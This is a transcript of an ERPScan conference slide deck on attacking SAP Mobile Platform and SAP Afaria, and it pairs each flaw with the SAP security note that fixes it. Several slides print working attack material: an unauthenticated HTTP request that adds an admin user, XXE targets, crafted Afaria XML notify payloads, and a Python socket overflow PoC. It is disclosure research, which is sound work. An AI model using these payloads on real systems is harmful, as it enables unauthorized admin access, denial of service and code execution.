Top Banner
Invest in security to secure investments A"acking SAP Mobile Dmitry Chastukhin. ERPScan
53
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Attacking SAP Mobile

Invest  in  security  to  secure  investments  

A"acking  SAP  Mobile  

Dmitry  Chastukhin.  ERPScan  

Page 2: Attacking SAP Mobile

About  ERPScan  

•  The   only   360-­‐degree   SAP   Security   solu=on   -­‐   ERPScan   Security  Monitoring  Suite  for  SAP  

•  Leader  by  the  number  of  acknowledgements  from  SAP  (  150+  )  •  60+  presentaCons  key  security  conferences  worldwide  •  25  Awards  and  nominaCons  •  Research  team  -­‐  20  experts  with  experience  in    different  areas  

of  security  •  Headquarters  in  Palo  Alto  (US)  and  Amsterdam  (EU)      

2  

Page 3: Attacking SAP Mobile

SAP  Mobile  Pla,orm  

3  

Page 4: Attacking SAP Mobile

What  is  it?  

   

4  

Page 5: Attacking SAP Mobile

SMP  architecture  

   

5  

Page 6: Attacking SAP Mobile

Supported  plaMorms  

   

Objec=ve-­‐C   .NET  

6  

Page 7: Attacking SAP Mobile

SMP  protocols  

   SUP  2.1.3   SUP  2.2   SMP  2.3   SMP  3.0  

SMP  Messaging   x   x   x   x  SMP  ReplicaCon   x   x   x   x  HTTP  Rest  API   x   x   x  SAP  Agentry   x   x  

7  

Page 8: Attacking SAP Mobile

SMP  services  

8  

•  SAP  Control  Center  

•  SAP  SQL  Anywhere  services  

•  SAP  Mobile  Server  

 

Page 9: Attacking SAP Mobile

SAP  Control  Center    (Portal)  

•  Working  process:  sccservice.exe    •  Open  ports:  

–  2100  (Messaging  service)  –  8282/8283  (Portal)  –  9999  (RMI)  

9  

Page 10: Attacking SAP Mobile

SMP  services  

10  

•  SAP  Control  Center  

•  SAP  SQL  Anywhere  services  

•  SAP  Mobile  Server  

Page 11: Attacking SAP Mobile

SQL  Anywhere  

   

11  

Page 12: Attacking SAP Mobile

SMP  services  

12  

•  SAP  Control  Center  

•  SAP  SQL  Anywhere  services  

•  SAP  Mobile  Server  

Page 13: Attacking SAP Mobile

SAP  Mobile  Server  services  

       •  MobiLink  •  AdminWebServices  

•  MlsrvWrapper  •  InfoboxMul=plexer  

•  OBMO  •  JMSBridge  

13  

Page 14: Attacking SAP Mobile

SAP  Mobile  Server  (MobiLink)  

       

14  

Page 15: Attacking SAP Mobile

•  Uses  Cassini  Web  Server  1.0  

•  Listens  to  the  local  port  5100    

15  

AdminWebServices  

Page 16: Attacking SAP Mobile

SAP  Mobile  Pla,orm  vulnerabili6es  

16  

Page 17: Attacking SAP Mobile

DecrypCng  the    SAP  Mobile  PlaMorm  GIOP  protocol  

17  

Page 18: Attacking SAP Mobile

DecrypCng  the    SAP  Mobile  PlaMorm  GIOP  protocol  

•  GIOP  –  General  Inter-­‐ORB  Protocol  (GIOP)  is  the  abstract  protocol  by  which  object  request  brokers  (ORBs)  communicate  

•  Uses  mlsrv16.exe  (Mobilink)  –  port  2000  

 

18  

Page 19: Attacking SAP Mobile

DecrypCng  the    SAP  Mobile  PlaMorm  GIOP  protocol  

19  

Page 20: Attacking SAP Mobile

XXE  in  the     SAP Mobile Platform portal  page…  

•  Portal  URL:  h8ps://IP_ADDR:8283/scc  •  web.xml  &  services-­‐config.xml    

C:\SAP\SCC-­‐3_2\services\EmbeddedWebContainer\container\Je8y-­‐7.6.2.v20120308\work\je8y-­‐0.0.0.0-­‐8282-­‐scc.war-­‐_scc-­‐any-­‐\webapp\WEB-­‐INF\web.xml  

<servlet-mapping>

<servlet-name>MessageBrokerServlet</servlet-name>

<url-pattern>/messagebroker/*</url-pattern>

</servlet-mapping>

20  

Page 21: Attacking SAP Mobile

…XXE…  

C:\SAP\SCC-­‐3_2\services\EmbeddedWebContainer\container\Je8y-­‐7.6.2.v20120308\work\je8y-­‐0.0.0.0-­‐8282-­‐scc.war-­‐_scc-­‐any-­‐\webapp\WEB-­‐INF\flex\services-­‐config.xml  

********************************  

<channel-definition id="scc-http"

class="mx.messaging.channels.HTTPChannel">

<endpoint url="http://{server.name}:{server.port}/scc/messagebroker/http"

class="flex.messaging.endpoints.HTTPEndpoint" />

</channel-definition>

********************************  

1.  /scc/messagebroker/amfpolling  

2.  /scc/messagebroker/amfsecurepolling  

3.  /scc/messagebroker/h"p  

4.  /scc/messagebroker/h"psecure  

5.  /scc/messagebroker/amflongpolling  

21  

Page 22: Attacking SAP Mobile

…XXE  

             

 

 

22  

Page 23: Attacking SAP Mobile

Read  file  with  XXE  

C:\SAP\MobilePla,orm\Servers\UnwiredServer\Repository\Instance\com\sybase\sup\server\SUPServer\sup.proper6es  

sup.imo.upa = 457ba103a46559486a81350d552a9e47fb085927eb6df0ccc79231bc3d

23  

Page 24: Attacking SAP Mobile

       

Decrypt  sup.imo.upa  

24  

Page 25: Attacking SAP Mobile

PrevenCon  

             

 

 

•  Install  SAP  Security  note  2125358  •  SAP  Mobile  Pladorm  XXE  vulnarability  

25  

Page 26: Attacking SAP Mobile

SAP  Mobile  PlaMorm    unauthenCcated  access  to  other  servlets  

•  Architecture  and  program  vulnerabili6es  in  SAP’s  J2EE  engine  

(BlackHat  USA  2011)  

•  web.xml  files  revealed  hidden  methods  to:  

–  Read  and  generate  logs  

–  Deploy  and  install  JAR  packages  

26  

Page 27: Attacking SAP Mobile

AdminWebService  

             

 

 

POST /MobileOffice/Admin.asmx/AddAdminUser HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: length strUserName=Admin2&strActivationCode=123QWEasd&iExpirationHours=100

27  

Page 28: Attacking SAP Mobile

SAP  SQL  Anywhere  BoF/Code  ExecuCon    

•  CVE-­‐2008-­‐0912  –  The  MobiLink  server  is  affected  by  a  heap  overflow  which  happens  

during  the  handling  of  strings  like  username,  version,  and  remote  ID  (all  

pre-­‐auth)  which  are  longer  than  128  bytes  

•  CVE-­‐2014-­‐9264    –  Stack-­‐based  buffer  overflow  in  the  .NET  Data  Provider  in  SAP  SQL  

Anywhere  allows  remote  a"ackers  to  execute  arbitrary  code  via  a  

craked  column  alias  

28  

Page 29: Attacking SAP Mobile

First  PSH  request    

   

29  

Page 30: Attacking SAP Mobile

First  PSH  request    

•     

30  

Page 31: Attacking SAP Mobile

SQL  Anywhere  DoS  

             

       

31  

Page 32: Attacking SAP Mobile

PrevenCon  

             

       

•  Install  SAP  security  note  2108161  •  Denial  of  service  in  SAP  SQL  Anywhere  

32  

Page 33: Attacking SAP Mobile

SAP  EMR  Unwired  SQL  injecCon  

•  CVE-­‐2013-­‐7096  (CVSS  7.5)  •  AndroidManifest.xml:                            <provider

android:name=".providers.ModiDataDbProvider"

android:authorities="com.sap.mobi.docsprovider" />  

1.  content://com.sap.mobi.docsprovider/documents/offline_cat  

2.  content://com.sap.mobi.docsprovider/documents/offline/  

3.  content://com.sap.mobi.docsprovider/documents/sample  

4.  content://com.sap.mobi.docsprovider/documents/online  

5.  content://com.sap.mobi.docsprovider/documents/offline_auth  

6.  content://com.sap.mobi.docsprovider/documents/offline  

7.  content://com.sap.mobi.docsprovider/documents/online_auth  

8.  content://com.sap.mobi.docsprovider/documents/sample/  

9.  content://com.sap.mobi.docsprovider/documents/online_cat  

33  

Page 34: Attacking SAP Mobile

Preven=on  

•  Install  SAP  security  note  1864518  •  Security  Improvements  for  MOB-­‐APP-­‐EMR-­‐AND  

34  

Page 35: Attacking SAP Mobile

SAP  Afaria  

35  

Page 36: Attacking SAP Mobile

SAP  Afaria  

•  MDM  Solu=on  –  Version  7.0  SP5:  Released  August  2014  (  as  SAP  Afaria  SP5)  –  Version  7.0  SP4:  Released  December  2013  (as  SAP  Afaria  SP4)  –  Version  7.0  SP2:  Released  December  2012  (as  SAP  Afaria  SP2)  –  Version  7.0:  Released  April  2012  (as  SAP  Afaria)  –  Version  6.6:  Released  September  2010  –  Version  6.5:  Released  November  2009  –  Version  6.0:  Released  December  2008  –  Version  5.0:  Released  November  2003  –  Version  4.0:  Released  June  2000  (as  Afaria)  –  Version  3.5:  Released  May  2000  (as  Afaria  for  Handhelds)  –  Version  3.0:  Released  October  1999  –  Version  2.0:  Released  February  1999  (as  CONNECT:Manage)  –  Version  1.2:  Released  October  1997  (as  RemoteWare  Express)  –  Version  1.0:  Released  February  1997  (as  SessionXpress)  

36  

Page 37: Attacking SAP Mobile

How  it  works  

•  Provide  and  enroll  devices  in  management    

•  Define  device  sepngs    

•  Secure  devices  and  data    

•  Collect  inventory    

•  Distribute  sokware    

•  Collect  device  ac=vity  data    

 for  managing  expenses    

37  

Page 38: Attacking SAP Mobile

Enrollment  policy  

   

38  

Page 39: Attacking SAP Mobile

ConfiguraCon  policy  

   

39  

Page 40: Attacking SAP Mobile

ApplicaCon  policy  

   

40  

Page 41: Attacking SAP Mobile

Device  informaCon  

   

41  

Page 42: Attacking SAP Mobile

Device  informaCon  

   

42  

Page 43: Attacking SAP Mobile

Device  informaCon  

   

43  

Page 44: Attacking SAP Mobile

CommunicaCon  

   

44  

Page 45: Attacking SAP Mobile

SAP  Afaria  vulnerabili6es  

45  

Page 46: Attacking SAP Mobile

Good  news  

   

46  

Page 47: Attacking SAP Mobile

Good  news  

47  

Page 48: Attacking SAP Mobile

Missing  authorizaCon  

•  Command  value  Run  Channel  or  Test  •  The  XML  request  must  start  with  4  spaces  •  PoC:   <AfariaNotify version="1.0.0"> <Message type="Command" value="Run Channel"> <Client name="AFARIA70PT"> <Client name="LOCALHOST"

GUID="59146189-1f92-46d5-85aa-6293631d5d2e"> <Transmitter address="172.16.2.67:4444\asd"> <Channel address="\\172.16.2.67:4444\asd" name="\

\172.16.2.67:4444\df"></Channel> </Transmitter> </Client> </Message> </AfariaNotify>

48  

Page 49: Attacking SAP Mobile

PrevenCon  

Install  SAP  security  note  2134905  Missing  authoriza=on  check  in  XCListener  

49  

•  Install  SAP  security  note  1864518  •  Security  Improvements  for  MOB-­‐APP-­‐EMR-­‐AND  

Page 50: Attacking SAP Mobile

XcListener  DoS  

<AfariaNotify version="1.0.0">

<Message type="Command" value="Run Channel" > <Client name="LOCALHOST" >

<Client name="LOCALHOST" GUID="59146189-1f92-46d5-85aa-6293631d5d2e">

<Transmitter address="172.16.2.67:4444\">

<Channel address="\\172.16.2.67:4444\asd" name="\\172.16.2.67:4444\(A*1491)">

</Channel> </Transmitter>

</Client>

</Message>

</AfariaNotify>(A*3678)

     

50  

Page 51: Attacking SAP Mobile

XcListener  BoF  

•  PoC:   import socket HOST = ‘hostname' PORT = 3005 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) poc = 'A'*4098 s.send(poc) data = s.recv(10000) s.close() print 'Received', (data)

     

51  

Page 52: Attacking SAP Mobile

PrevenCon  

•  Install  SAP  security  note  2132584  •  Buffer  overflow  in  SAP  Afaria  7  XcListener  

52  

Page 53: Attacking SAP Mobile

Each  SAP   landscape   is  unique  and  we  pay  close  a8en6on  to  the  requirements  of  our   customers   and   prospects.   ERPScan   development   team   constantly   addresses  these  specific  needs  and   is  ac6vely   involved   in  product  advancement.   If  you  wish  to   know   whether   our   scanner   addresses   a   par6cular   aspect,   or   simply   have   a  feature  wish  list,  please  e-­‐mail  us.  We  will  be  glad  to  consider  your  sugges6ons  for  the  future  releases  or  monthly  updates.  

53  

       

About  

228  Hamilton  Avenue,  Fl.  3,  Palo  Alto,  CA.  94301  

 USA  HQ  

Luna  ArenA  238  Herikerbergweg,    1101  CM  Amsterdam    

 EU  HQ  

 www.erpscan.com    [email protected]